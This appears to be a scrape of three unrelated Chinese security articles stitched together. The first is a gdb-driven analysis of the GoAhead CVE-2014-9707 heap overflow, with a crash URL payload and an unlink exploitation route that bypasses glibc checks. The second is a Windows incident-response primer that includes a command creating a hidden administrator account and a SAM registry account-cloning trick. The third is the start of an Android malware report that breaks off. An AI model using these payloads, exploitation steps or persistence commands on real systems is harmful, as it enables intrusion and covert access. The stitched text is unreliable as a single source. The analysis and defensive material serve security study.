EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb5fcd: nop
0xb7fb5fce: nop
0xb7fb5fcf: nop
=> 0xb7fb5fd0 <websUrlParse>: push ebp
0xb7fb5fd1 <websUrlParse+1>: push edi
0xb7fb5fd2 <websUrlParse+2>: push esi
0xb7fb5fd3 <websUrlParse+3>: push ebx
0xb7fb5fd4 <websUrlParse+4>: call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0xbffff320 --> 0x2
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0x0
0020| 0xbffff270 --> 0xbffff2b8 --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3027
3027 {
gdb-peda$ x/10x 0xbffff2b4
0xbffff2b4: 0x00000000 0x00000000 0x00000000 0xbffff320
0xbffff2c4: 0xb7fecc9f 0xb7fdbb00 0x00000000 0x00000001
0xbffff2d4: 0x00000001 0x00000000
```
可以看到，此时url已经传入了畸形字符串，函数中，会对这个字符串进行各种处理，把它们处理后交给其他输出变量。
注意bffff2b4处的变量。接下来直接执行到函数返回的位置。
```
gdb-peda$ b *0xb7fb61be
Breakpoint 2 at 0xb7fb61be: file src/http.c, line 3162.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xbffff2b0 --> 0xb7fc90f7 --> 0x74746800 ('')
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb61be (<websUrlParse+494>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb61bb <websUrlParse+491>: pop esi
0xb7fb61bc <websUrlParse+492>: pop edi
0xb7fb61bd <websUrlParse+493>: pop ebp
=> 0xb7fb61be <websUrlParse+494>: ret
0xb7fb61bf <websUrlParse+495>: nop
0xb7fb61c0 <websUrlParse+496>: lea eax,[ebp+0x7]
0xb7fb61c3 <websUrlParse+499>: mov BYTE PTR [ebp+0x4],0x0
0xb7fb61c7 <websUrlParse+503>: mov edx,DWORD PTR [esp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0x805bcc0 --> 0x805792f --> 0x0
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0xb7fc94e1 ("localhost")
0020| 0xbffff270 --> 0xbffff2b8 --> 0x805c70e --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x805bcc0 --> 0x805792f --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x805c1e4 --> 0x782e ('.x')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xb7fb61be in websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3162
3162 }
gdb-peda$ x/10x *0xbffff2b4
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
可以看到，此时已经覆盖上畸形变量了，bffff2b4存放的是path地址，接下来返回后，path会继续传入到漏洞函数中。
```
gdb-peda$
[-------------------------------------code-------------------------------------]
0xb7fb8aa1 <websPump+4577>: js 0xb7fb8cca <websPump+5130>
0xb7fb8aa7 <websPump+4583>: sub esp,0xc
0xb7fb8aaa <websPump+4586>: push DWORD PTR [esp+0x30]
=> 0xb7fb8aae <websPump+4590>: call 0xb7fad160 <websNormalizeUriPath@plt>
0xb7fb8ab3 <websPump+4595>: mov edi,DWORD PTR [esp+0xc0]
0xb7fb8aba <websPump+4602>: add esp,0x10
0xb7fb8abd <websPump+4605>: test eax,eax
0xb7fb8abf <websPump+4607>: mov DWORD PTR [edi+0x16c],eax
Guessed arguments:
arg[0]: 0x805bcc0 --> 0x805792f --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff280 --> 0x805bcc0 --> 0x805792f --> 0x0
0004| 0xbffff284 --> 0xb7fdb948 --> 0xb7fa8000 --> 0x464c457f
0008| 0xbffff288 --> 0xb7fc03c5 (<websGetLogLevel+5>: add ecx,0x180bb)
0012| 0xbffff28c --> 0xb7fb8a40 (<websPump+4480>: cmp eax,0x2)
0016| 0xbffff290 --> 0xbffff2f0 --> 0xb7faa608 --> 0x675f5f00 ('')
0020| 0xbffff294 --> 0xb7eec450 --> 0x80618a8 --> 0x0
0024| 0xbffff298 --> 0x10
0028| 0xbffff29c --> 0x2008
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
接下来，进入到漏洞函数开始分析漏洞的成因。首先根据源码，找到了一处strcpy函数。
```
if ((dupPath = walloc(len + 2)) == 0) {
return NULL;
}
strcpy(dupPath, pathArg);
```
这里会将畸形字符串考入dupPath中。
```
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
[-------------------------------------code-------------------------------------]
0xb7fb6445 <websRewriteRequest+229>:
jmp 0xb7fb6432 <websRewriteRequest+210>
0xb7fb6447: mov esi,esi
0xb7fb6449: lea edi,[edi+eiz*1+0x0]
=> 0xb7fb6450 <websNormalizeUriPath>: push ebp
0xb7fb6451 <websNormalizeUriPath+1>: push edi
0xb7fb6452 <websNormalizeUriPath+2>: push esi
0xb7fb6453 <websNormalizeUriPath+3>: push ebx
0xb7fb6454 <websNormalizeUriPath+4>:
call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3170
3170 {
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
gdb-peda$
strcpy(dupPath, pathArg);
[-------------------------------------code-------------------------------------]
0xb7fb64a8 <websNormalizeUriPath+88>: push esi
0xb7fb64a9 <websNormalizeUriPath+89>: mov esi,DWORD PTR [esp+0x20]
0xb7fb64ad <websNormalizeUriPath+93>: push esi
=> 0xb7fb64ae <websNormalizeUriPath+94>: call 0xb7fad8c0 <strcpy@plt>
0xb7fb64b3 <websNormalizeUriPath+99>: lea eax,[edi*4+0x4]
0xb7fb64ba <websNormalizeUriPath+106>: mov DWORD PTR [esp],eax
0xb7fb64bd <websNormalizeUriPath+109>: call 0xb7fad9b0 <malloc@plt>
0xb7fb64c2 <websNormalizeUriPath+114>: add esp,0x10
gdb-peda$ x/10x $esp
0xbffff230: 0x0805c720 0x0805bcc0 0x00000000 0x0805c1e6
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0xb7fd8480
0xbffff250: 0x0805ddd3 0x0805c720
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
```
接下来会进入两处for循环，会对路径进行一些处理，比如将/./合并等等，在第二处for循环中，由于输入和输出长度变量没有对称，导致拷贝中可以构成一个超长字符串，下面动态来观察这一过程。
```
for (mark = sp = dupPath; *sp; sp++) {
if (*sp == '/') {
*sp = '';
while (sp[1] == '/') {
sp++;
}
segments[nseg++] = mark;
len += (int) (sp - mark);
mark = sp + 1;
}
}
segments[nseg++] = mark;
len += (int) (sp - mark);
for (j = i = 0; i < nseg; i++, j++) {
sp = segments[i];
if (sp[0] == '.') {
if (sp[1] == '') {
if ((i+1) == nseg) {
segments[j] = "";
} else {
j--;
}
} else if (sp[1] == '.' && sp[2] == '') {
if (i == 1 && *segments[0] == '') {
j = 0;
} else if ((i+1) == nseg) {
if (--j >= 0) {
segments[j] = "";
}
} else {
j = max(j - 2, -1);
}
}
} else {
segments[j] = segments[i];
}
}
```
上述代码就是我描述的过程，执行完处理后，看一下dp的长度。
```
Breakpoint 2, 0xb7fb65ac in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3227
3227 if ((path = walloc(len + nseg + 1)) != 0) {
gdb-peda$ x/10x $esp
0xbffff230: 0x0000040a 0x0805bcc0 0x00000000 0x0805c1e9
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0x00000402
0xbffff250: 0x0805ddd6 0x0805c728
```
这里注意一下esp的值，返回中esp中存放的值是40a，也就是1034，就是缓冲区的长度，接下来到达一处非常关键的for循环。
```
if ((path = walloc(len + nseg + 1)) != 0) {
for (i = 0, dp = path; i < nseg; ) {
strcpy(dp, segments[i]);
len = (int) slen(segments[i]);
dp += len;
if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
*dp++ = '/';
}
}
*dp = '';
}
```
这里会根据nseg执行strcpy操作，由于之前的问题，会导致拷贝超过dp本身的大小，也就是1034，来看一下到底拷贝了多少内容。
```
1:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x0
2:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3
3:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x132
4:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x3
6:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2
7:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
8:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
Breakpoint 7, 0xb7fb6618 in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
3238 wfree(dupPath);
3+132+3+2+2c2+2c2 = 6be = 1726
```
可以看到，一共拷贝了8次，总共拷贝了1726，在整个拷贝过程中，eax监视的是拷贝的长度，算一下总和，已经超过了1034，那么由此就会造成堆溢出。
接下来执行，发生堆溢出，到达漏洞位置。
```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xef3
ECX: 0xef3
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
```
总结一下整个漏洞的形成过程，在goahead中，程序会开启监听socket进程，之后会有一个函数用于处理接收到的数据包。在收到url后，会对url进行进一步处理，在处理的过程中，由于对.的控制逻辑混乱，导致处理结束后的判断长度和之前的长度不等，从而可以导致超长串考入先前申请长度的缓冲区，引发堆溢出漏洞。
**
**
**从漏洞分析到漏洞模型**
实际上要利用这个漏洞，其实对于Linux二进制攻防熟悉的大牛肯定已经知道就是利用unlink来对堆进行攻击，其实这个漏洞非常有意思，是因为它有一个非常基础的漏洞模型，下面我们一起来把这个漏洞模型还原出来。
首先我们再来回顾一下发生漏洞的源码部分。
```
PUBLIC char *websNormalizeUriPath(char *pathArg)
{
…… 省略一部分
len = (int) slen(pathArg);
if ((dupPath = walloc(len + 2)) == 0) {
return NULL;
}
strcpy(dupPath, pathArg);
if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
return NULL;
}
nseg = len = 0;
firstc = *dupPath;
for (mark = sp = dupPath; *sp; sp++) {
if (*sp == '/') {
*sp = '';
while (sp[1] == '/') {
sp++;
}
segments[nseg++] = mark;
len += (int) (sp - mark);
mark = sp + 1;
}
}
……省略一部分
}
}
nseg = j;
assert(nseg >= 0);
if ((path = walloc(len + nseg + 1)) != 0) {
for (i = 0, dp = path; i < nseg; ) {
strcpy(dp, segments[i]);
……省略一部分
}
*dp = '';
}
wfree(dupPath);
wfree(segments);
```
有几个地方值得关注，首先是刚刚进入函数的时候，有一处申请堆操作
if ((dupPath = walloc(len + 2)) == 0) {
紧接着第二处申请堆操作
if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
然后是第三处申请堆操作
if ((path = walloc(len + nseg + 1)) != 0) {
紧接着会对两个堆空间进行free操作
wfree(dupPath);
wfree(segments);
经过之前的分析，问题出现在path申请堆空间后的strcpy后，其实看到这里可以很明朗的看出一些东西，我们来看一张对比图。
阅读过堆溢出漏洞的小伙伴肯定对右面图中的代码很熟悉，实际上，CVE-2014-9707这个漏洞，分析完这个漏洞的成因之后，可以还原成一个最常见的unlink漏洞利用的模型！
```
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 660 );
/*[2]*/ second = malloc( 660 );
if(argc!=1)
/*[3]*/ strcpy( second, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
```
接下来，我们来看一下这个漏洞申请堆空间的布局。
我们可以看到，根据malloc的情况，可以将申请的空间做如下布局，top
chunk是未被分配的堆空间，path所处的chunk，是可控的，也就是上面给出模型中的second部分，argv［1］就相当于我们在实战中要拷贝的堆空间。
也就是说，当我们在demo中，找到一个合适的payload，导致返回地址被修改成shellcode地址，或者system地址等等，无论怎么样，都能达到最后的利用。
这里我需要多说几句，如果仔细看过上面的demo和以前unlink的文章比较的话，会发现我拷贝的是第二个缓冲区，也就是说在free（second）的时候，才有可能会出发unlink，而不是free（first），这是因为在实战中，free（segment）的时候才会出发漏洞，所以利用覆盖got表中free地址替换为shellcode或者system函数的方法并不可用。
这里还是要利用覆盖返回地址的方法。关于unlink的触发机制在unlink的各种文档中都有详细描述，简单的描述
理解大致就是空闲块合并操作，释放块的时候，通过欺骗某chunk
header来达到令系统认为A块的前面一块活着后面一块是空闲的，这样就会触发A块脱链，触发unlink宏，当然，这里A块不一定是当前块，也有可能是当前块的下一块。
**
**
**glibc保护机制与绕过**
在不断的版本更新中，glibc对抗堆溢出漏洞的手法层出不穷，在不断的演变中，我们需要面对不同的防护机制，这里通过对比分析和实战，我总结了glibc在进化过程中的变化和利用方法。很多利用在以前unlink的文章中都有描述，我在文末的参考文章中都已经指出，这里就不再进行赘述。
首先来看一下glibc 2.1.1版本中，关于unlink宏的定义。malloc.c第2344行。
```
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
```
可以看到，最老版本的glibc中对chunk header的控制并不好，导致那个时候是最好利用的，这里对chunk
header的结构我就不再多做描述，几乎所有关于linux下的堆溢出文章中都会提到，那么这里，如果我们设置unlink块的对象中的bk和fd为某些特殊的值，在这个条件下很容易就能达到利用。
接下来来看一下glibc 2.15版本中，关于unlink宏的定义。malloc.c第1544行。
```
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
```
可以看到，这里对FD->bk和BK->fd做了严格的判断，如果下一块的fd和前一块的bk不等于当前块，则会打印错误信息。只有当判断条件通过的情况下，才会执行else语句内的后续赋值内容。那么，是不是这样条件下就无法利用了呢？我们可以关注到，在else语句中还有一个嵌套的if语句，其中会执行一个函数in_smallbin_range，传参为当前块的大小，当当前块大小大于512字节的时候，程序会进入if语句中的内容，其中涉及到两个非常关键的指针指向变量fd_nextsize和bk_nextsize，而这个if语句中的else内，会执行一个赋值操作，对这两个变量，没有进行检查，于是在这种情况下，我们需要构造一个大于512字节的块，伪造fd_nextsize和bk_nextsize来完成利用。
在这个漏洞的利用环境下就是利用的这个unlink宏，那么我们注意到在判断完FD->bk后的入口点，有两个assert断言，实际上在release版本下，这两个断言并不能触发。
接下来我们来看较新的glibc 2.21，在这个版本下，malloc.c第1411行
```
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)", P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
```
和上面的代码大同小异，但是可以看到在之前的assert断言中判断的内容，被挪到if语句中进行判断，也就是说利用fd_nextsize和bk_nextsize伪造的方法不能再利用了。
因此在最新版glibc下如何完成堆溢出，是我下一步想研究的内容。
**
**
**从unlink到漏洞利用**
讲了glibc版本更迭，攻防对抗的升级，下面来讲一下这个漏洞的利用，在之前的内容中我们提到path是可控的，也就是说我们利用path覆盖top
chunk，然后在segment被释放的时候，会去top chunk
header中判断path块是否空闲，如果这时候欺骗linux让它认为path块空闲，则会触发path块unlink操作，从而导致漏洞呗利用。
在最老的版本glibc中，我们只需要将fd和bk分别设置为特定值即可完成利用，但是之前也提到新版glibc中发生的变化，下面我们来看一下linux中对抗堆溢出需要注意哪些情况吧。
首先linux会对堆大小进行检查，也就是说chunk
header中的prev_size会被检查，这是为了对抗堆溢出中，设定prev_size为－4这种负数的情况，用于欺骗，因为为了计算前一个堆的偏移会用某chunk头部地址减去prev_size。
这时候就会产生错误。
来看一下glibc2.15的malloc.c中关于前一块大小检查部分的代码。
```
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
```
可以看到，在这里会对nextsize进行判断，nextsize是由下一块的chunksize得到，这时我们要记住prev_size，纪录的是前一块的大小，04030201时产生错误。
其次是double
free的检查，不能连续释放两次，也就是说，当堆溢出覆盖下一个块和下下一个块的in_use位为0的时候（空闲状态），会无法通过double free的检查。
可以看到，这时大小变成01020304后，通过了next
size的检查，但是来看IN_USE位，当下一块和下下块IN_USE位都为0时，也就是连续两个块都空闲，则无法通过double free的检查。
来看一下malloc.c中的相关代码。
```
/* Or whether the block is actually not marked used. */
if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
```
因此不能有连续两个块IN_USE都为0.
于是，我们可以构造这样的利用方法，glibc 2.15版本下，最新版会有新的防护，之前已经提到。
这里，我们构造一个伪造的块处于path块和top
chunk块之间，用这种方法来绕过之前提到的FD->bk=P的检查，最后在前面的章节中，我们介绍到利用fd_nextsize和bk_nextsize的方法来完成最终的代码执行，于是我们将返回地址和shellcode地址分别布置在这两处位置。
最后我们可以完成利用。
在这个研究中，我对linux堆溢出有了更深刻的理解，确实刚开始接触堆溢出的时候感觉很乱，尤其是链表，后来发现自己研究链表的机制，很快就能明白，尤其是配合这个漏洞进行调试，希望大家能够多多交流，共同进步！
**参考链接**
[http://seclists.org/fulldisclosure/2015/Mar/157](http://seclists.org/fulldisclosure/2015/Mar/157)
<http://bbs.pediy.com/showthread.php?t=211365> | 社区文章 |
# 应急响应入门篇-windows分析排查技术（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> windows应急响应实际分析
## 1-进程分析-可疑进程发现与关闭
**概念** ：
计算机与外部网络通信是建立在TCP或者UDP协议上的，并且每一次通信都是具有不同的端口（0-65535）。如果计算机被上传木马后，肯定会与外部网络通信，那么此时就可以通过查看网络连接状态，找到对应的进程id，然后关闭进程id并关闭连接状态。
1.netstat -ano | find “ESTABLISHED” //查看网络建立连接状态
2.tasklist /svc | find “PID” 查看具体PID进程对应的程序
3.taskkill /PID pid值 /T 关闭进程
## 2-异常计划任务排查
**主要是对系统信息的windows计划任务进行排查**
在计算机中可以通过设定计划任务，在固定时间执行固定操作，一般情况下，恶意代码也有可能在
固定的时间设置执行。
使用at命令可以对计划任务进行管理，直接输入at可以查看当前计算机中保存的计划任务。
1.使用at命令查看计算机中保存的计划任务。
2.也可以在可视化的任务管理器进行查看。
3.可以选中运行的任务，然后进行查看详细信息。
4.查看详细内容
5.可以对异常任务进行停止。
## 3- 隐藏账号发现与删除
隐藏账号，是指“黑客”之后为了能够持久保持对计算机访问，而在计算机系统中加建立的不轻易被发现的计算机账户。
最为简单的隐藏账户建立: net user test$ test /add && net localgroup aministrator test$
/add 其中 $ 符号可以导致管理员在使用net user 时， 无法查看test$用户。
1.使用net user test$ test /add建立临时用户
2.然后在计算机管理-用户里面查看新建的临时用户。
3.使用net user查看临时用户是否存在。
4.添加一个新临时用户，然后设置本地组。
5.查看其属性。
6.切换用户，然后登录
7.使用whoami查看用户id。
8.然后在计算机管理查看临时用户属性，发现他隶属于管理员。
9.防御措施就是发现临时用户，带有特殊符号的，将其删除。
2.注册表临时用户
1.先进入注册表，然后找到SAM，分配权限。
2.先建立一个临时用户
3.然后将管理员的文件，加到临时用户上。
## 4- 恶意进行-发现与关闭
恶意代码在windows系统中运行过程中，将以进程的方式进行展示，其中恶意进程执行着各种恶意行为，对于可执行程序，可以执行使用杀毒软件进行查杀，但是并非所有的恶意程序能够被查杀。此时可以手动查杀，使用工具psexplore，然后利用virustotal.com进行分析。对恶意程序相关的服务进行关闭。
1.使用psexplore进行分析
2.找到可疑程序，然后查找具体位置。
3.然后在服务里面查看，如果是可疑程序，将它停止。
## 5- 系统信息 -补丁查看与更新
windows系统支持补丁以修补漏洞。可以使用systeminfo查看系统信息，并展示对应的系统补丁信息
编号，也可以在卸载软件中查看系统补丁和第三方软件补丁。
第一种：使用systeminfo查看具体信息。
2.然后在卸载更新里面查看更新补丁。
3.win10 更新补丁的方法。
使用win+I快捷键 更新补丁。其他版本的windows也具有windows update的相关操作。
## 6-webshell发现与查杀
1：D盾专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情
况下，越少的功能，服务器越安全的理念而设计！ 限制了常见的入侵方法，让服务器更安全!
<http://www.d99net.net/index.asp>
2.河马webshell查杀：<http://www.shellpub.com>
3.深信服Webshell网站后门检测工具：<http://edr.sangfor.com.cn/backdoor_detection.html>
4.Safe3：<http://www.uusec.com/webshell.zip>
## 总结：
本文主要从可疑进程的发现、异常任务的排查、隐藏账户的发现、恶意程序的发现、系统补丁的查看及webshell的查杀来构思。 | 社区文章 |
# “响尾蝶”病毒：隐藏在手机底层的致命杀手
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
日前，360核心安全团队检测到一款藏匿长达四年之久的Android系统级病毒“响尾蝶”，受影响手机用户多达十万。自2015年起，“响尾蝶”病毒便伪装为各种类型的APP进行传播，利用多个NDay漏洞获取系统最高权限，并在全球范围进行广泛传播。近日，“响尾蝶”在云端频繁更新，日趋活跃，有进一步升级的迹象。
随着Android应用层反病毒技术的日趋成熟，Android应用层病毒已得到有效遏制，但Android病毒总量只增未减。近年来“长老木马”、“百脑虫”、“地狱火”等病毒家族纷至出现，系统级病毒数量呈持续增长趋势。与APP应用层病毒相比较，系统级病毒存在于系统底层，借助Root权限、感染、注入系统文件和进程等方式，获得极强的自我保护和与杀软对抗的能力，更容易隐藏自己、不容易查杀。由于其难以发现和清除的特点，系统级病毒通常可长时间存活，并通过恶意推广、恶意扣费、窃取隐私数据等方式获得巨额收益，危害性更大。
## 二、感染量统计
据360核心安全团队监测数据显示，“响尾蝶”病毒在全球范围广泛传播，其踪迹遍及六大洲，其中亚洲感染量较大，且受害者多集中在中国。
“响尾蝶”病毒集中爆发于2016年，2017年起感染量呈缓慢上升趋势。而360核心安全团队对病毒C&C服务器的追溯发现，该病毒多年来从未停止并且在不断的变化升级。截至2018年8月累计感染量已超十万。
受“响尾蝶”病毒影响的Android系统版本主要集中在Android4.2和Android4.1。尽管目前Android6.0和Android7.0成为最流行的系统版本，但统计显示，Android
5.1 及以下版本的市场占有率依然有40.1%。由于Android 5.1
及其以下版本平均漏洞数量较多，受病毒影响最严重，360核心安全团队建议用户及时更新系统版本或安装补丁。
各Android系统版本受感染具体分布如下图所示。
## 三、“响尾蝶”特点
### 1) 潜伏时间长
360核心安全团队发现病毒最早出现于2015年，藏匿在用户手机中已长达近四年之久。
早期的核心文件较少、功能集中、影响较小。2016年起，病毒进行了模块分割，加强了隐蔽性、健壮性，感染量呈爆发式增长。下图为“响尾蝶”病毒版本演变时间轴：
360对此病毒的每个版本进行关注并率先全面查杀。
### 2) 病毒危害大
